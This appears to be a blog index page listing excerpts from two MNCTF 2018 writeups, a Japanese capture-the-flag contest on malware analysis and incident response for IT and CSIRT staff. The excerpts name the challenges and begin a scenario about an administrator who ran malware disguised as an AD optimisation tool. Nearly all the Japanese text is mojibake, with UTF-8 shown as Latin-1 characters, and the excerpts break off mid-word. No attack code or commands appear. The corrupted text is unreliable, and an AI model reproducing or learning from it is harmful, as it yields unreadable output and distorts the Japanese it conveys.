2018/7/12é–‹å‚¬ã®MNCTF2018ã«å‚åŠ ã€‚ æœ€é€Ÿã®writeupæŠ•ç¨¿ã‚’ç›®æŒ‡ã—ã¦ã€ã¡ã‚‡ã£ã¨è’ã„ãŒæŠ•ç¨¿ã€‚ æœ€å¾Œã®2å•ã¯è§£ã‘ãªã‹ã£ãŸã€æ®‹å¿µã€‚ æ–°äººå¥®é—˜Iâ˜†â˜†â˜† å•é¡Œ è§£ç” æ–°äººå¥®é—˜IIâ˜…â˜†â˜† å•é¡Œ è§£ç” æ–°äººå¥®é—˜IIIâ˜…â˜†â˜† å•é¡Œ è§£ç” æ–°äººå¥®é—˜IVâ˜…â˜†â˜† å•é¡Œ è§£ç” æ–°äººå¥®é—˜Vâ˜…â˜†â˜† å•é¡Œ è§£ç” å¤§é‡ä¸æ£â˜…â˜…â˜† å•é¡Œ è§£ç” ç¨®é¡žç‰¹å®šâ˜…â˜…â˜† å•é¡Œ è§£ç” æ¨™çš„æ”»æ’ƒIâ˜…â˜…â˜† å•é¡Œ è§£ç” æ¨™çš„æ”»æ’ƒIIâ˜…â˜…â˜† å•é¡Œ è§£ç” æ¨™çš„åž‹æ”»æ’ƒIIIâ˜…â˜…â˜† å•é¡Œ è§£ç” æ¨™çš„æ”»æ’ƒIVâ˜…â˜…â˜† å•é¡Œ è§£ç” ç©´åŸ‹é˜²å¾¡â˜…â˜…â˜… å•é¡Œ è§£ç” ç›—é›£æƒ…å ±â˜…â˜…â˜† å•é¡Œ è§£ç” æ–°äººå¥®é—˜Iâ˜†â˜†â˜† å•é¡Œ 7æœˆã‹ã‚‰æ ªå¼ä¼šç¤¾ãƒžã‚¯ãƒ‹ã‚ã®CSIRTã«é…å±žã•ã‚ŒãŸæ–°äººã®ã¨ã å›ã¯ã€ã•ã£ããä»•äº‹ãŒä¸Žãˆã‚‰ã‚Œã¾ã—ãŸã€‚ã‚µãƒ¼ãƒç®¡ç†è€…ã®ã“ã°ã‚„ã—å›ãŒADã®æœ€é©åŒ–ãƒ„ãƒ¼ãƒ«ã¨æ€ã„è¾¼ã¿ã€èª¤ã£ã¦ãƒžãƒ«ã‚¦ã‚§ã‚¢ã‚’å®Ÿè¡Œã—ã¦ã—ã¾ã„ã¾ã—ãŸã€‚ãƒ•ã‚¡ã‚¤ãƒ«åã¯ã€ŒAD_Optimizatio
ionis 2018/07/17
CTF

writeup

MNCTF
ãƒªãƒ³ã‚¯
MNCTF 2018 Writeup - Tahoo!!
æƒ…ã‚·ã‚¹æ‹…å½“è€…å‘ã‘ã®CTFã§ã‚ã‚‹MNCTF 2018ãŒä¸€èˆ¬å…¬é–‹ã•ã‚ŒãŸã®ã§æŒ‘æˆ¦ã—ã¦ã¿ãŸã€‚ æœ¬æ—¥é–‹å‚¬ã—ãŸæƒ…ã‚·ã‚¹æ‹…å½“è€…å‘ã‘ã‚»ã‚ãƒ¥ãƒªãƒ†ã‚£ãƒãƒ£ãƒ¬ãƒ³ã‚¸ã®MNCTFã‚’ä¸€èˆ¬å…¬é–‹ã—ã¾ã—ãŸã€‚ ãƒãƒ£ãƒ¬ãƒ³ã‚¸ã—ã¦ã¿ã¦ãã ã•ã„ã€‚https://t.co/AgO3AhKxXZâ€” ShÃ¸ta ShinogÛœiðŸ— (@Sh1n0g1) 2018å¹´7æœˆ12æ—¥ http://mnctf.info/mnctf2018/ å¯¾è±¡ã¯æƒ…ã‚·ã‚¹æ‹…å½“å‘ã‘ã¨ã®ã“ã¨ã ã£ãŸãŒã€å€‹äººçš„ã«ã¯CSIRTã§ãƒžãƒ«ã‚¦ã‚§ã‚¢ã®è§£æžã‚’è¡Œã†äººã«ã¨ã£ã¦ã¯ã¡ã‚‡ã†ã©è‰¯ã„ã¨æ„Ÿã˜ãŸã€‚ å†…å®¹ã‚‚å®Ÿéš›ã«ä¸–ã®ä¸ã®æ”»æ’ƒã§ä½¿ã‚ã‚Œã‚‹ã‚ˆã†ãªãƒ†ã‚¯ãƒ‹ãƒƒã‚¯ã‚’é¡Œæã«ã—ãŸå•é¡ŒãŒå¤šãã€ã¨ã¦ã‚‚å®Ÿè·µçš„ã§ç´ æ™´ã‚‰ã—ã‹ã£ãŸã€‚ ã›ã£ã‹ããªã®ã§è§£ãæ–¹ã‚’å¿˜ã‚Œãªã„ã‚ˆã†ã€å…¨å•Writeupã‚’æ®‹ã—ã¦ãŠã“ã†ã¨æ€ã†ã€‚ ä»¥ä¸‹ã€ãƒã‚¿ãƒãƒ¬æ³¨æ„ æ–°äººå¥®é—˜I (ãƒžãƒ«ã‚¦ã‚§ã‚¢è§£æž 20pts) å•é¡Œãƒ•ã‚¡ã‚¤ãƒ«ã®sha256ã®ãƒãƒƒã‚·ãƒ¥å€¤ã‚’å–ã‚‹ã ã‘ã€‚
ionis 2018/07/17
CTF

writeup

MNCTF
ãƒªãƒ³ã‚¯
1 2 3 4 5 6 æ¬¡ã®ãƒšãƒ¼ã‚¸